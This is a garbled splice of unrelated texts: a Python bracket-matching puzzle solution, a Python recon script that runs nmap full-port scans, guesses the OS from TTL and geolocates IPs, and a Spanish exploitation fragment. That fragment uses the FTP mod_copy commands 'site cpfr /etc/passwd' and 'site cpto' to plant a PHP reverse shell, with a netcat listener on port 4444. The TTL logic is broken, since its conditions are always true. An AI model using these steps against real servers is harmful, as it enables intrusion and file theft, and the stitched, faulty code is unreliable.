#!/usr/bin/env python3
import fileinput
from pprint import pprint


def find_corrupted(line):
    mapping = {
        "]": "[",
        "}": "{",
        ")": "(",
        ">": "<",
    }

    stack = []
    for char in line:
        if char in mapping.values():
            stack.append(char)
        elif mapping[char] == stack[-1]:
            stack.pop()
        else:
            return char


def parse_input(input_stream):
    for line in input_stream:
        yield find_corrupted(line.strip())


def solve(input_stream):
    scores = {
        None: 0,
        ")": 3,
        "]": 57,
        "}": 1197,
        ">": 25137,
    }

    return sum(scores[char] for char in parse_input(input_stream))


if __name__ == "__main__":
    answer = solve(fileinput.input())
    print(answer)

import os
import subprocess
import re

import nmap
import requests

import sys

from colorama import Fore


clear = lambda:(os.system("clear"))

def ban() -> None:
	print("							  ")
	print("█░░░█ █▀▀█ █▀▀█ █▀▀ █▀▀ ")
	print("█▄█▄█ █▄▀█ █▄▄▀ ▀▀█ ▀▀█ ")
	print("░▀░▀░ █▄▄█ ▀░▀▀ ▀▀▀ ▀▀▀ ")
	print("")


def get_ttl(host) -> str:
    command = ["ping","-c","1",host]
    p = subprocess.Popen(command, stdout=subprocess.PIPE)
    res = p.communicate()[0] 
    res = str(res)  

    res = res.split() 
    ttl = res[11]
    ttl = ttl.split("=") 
    ttl = ttl[-1]

    if int(ttl) >= 64 or int(ttl) <= 64:
        print(f"{Fore.WHITE} TTL approximate to 64 > Device" ,f"{Fore.GREEN} OS ",f" {Fore.WHITE}Linux/Unix")

    elif int(ttl) >= 128 or int(ttl) <= 128:
        print(f"{Fore.WHITE} TTL approximate to 128 >" ,f"{Fore.GREEN} OS ",f" {Fore.WHITE} Windows")
		
    elif int(ttl) >= 254 or int(ttl) <= 254:
        print(f"{Fore.WHITE} TTL approximate to 254 >" ,f"{Fore.GREEN} OS ",f" {Fore.WHITE} Solaris/AIX")
    


def port_scanner(ip) -> None:
	path = ""
	print("Do you want to save port information in a file?")
	decision = input("s/n: ").upper()
	if decision == "S":
		print("Ej: file_name.txt")
		path = input("enter path file > ")
		og = "-oG"
	else:
		og = ""
	
	clear()
	
	ban()

	print("Waiting...","\n")

	nm = nmap.PortScanner()
	
	open_ports="-p "
	results = nm.scan(hosts=ip,arguments=f"-p- -sT -n -Pn {og} {path}")
	count = 0

	for proto in nm[ip].all_protocols():
		print()
		lport = nm[ip][proto].keys()
		sorted(lport)

		for port in lport:
			if nm[ip][proto][port]["state"] == "open":
				state = f"{Fore.GREEN} Open"
				
			else:
				state = f"{Fore.RED} Close"

			print(Fore.WHITE, f"{proto} Port > %sState > %s" % (port,state))
			if count == 0:
				open_ports = open_ports + str(port)
				count = 1
			else:
				open_ports = open_ports + "," + str(port)
	Fore.WHITE
		
def locate_ip(ip) -> str:
    response = requests.post("http://ip-api.com/batch", json=[
    {"query": ip}
    ]).json()

    try:
        for ip_info in response:
            country = ip_info['country']
    except KeyError:
        pass
    try:
        return country
    
    except UnboundLocalError:
        country = f"{Fore.RED} ERROR"




if __name__ == "__main__":
	clear()
	ban()

	try:
		host = sys.argv
		host = str(host[1])
	except IndexError:
		print("You need to enter an ip, example: User > python3 w0rss.py '192.255.255'")
	
	port_scanner(host)
	get_ttl(host)
	
	
	country = locate_ip(host)
	if country == None:
		country = f"{Fore.RED} not found".upper() 
	print()
	print(f"Country of the device > {country}")

ftp: site cpfr /etc/passwd

nc –lvp 4444/code]


Copio una reverse shell genérica (Que trae por defecto kali)
3)  [code]ftp: site cpto /usr/share/webshells/php/php-reverse-shell.php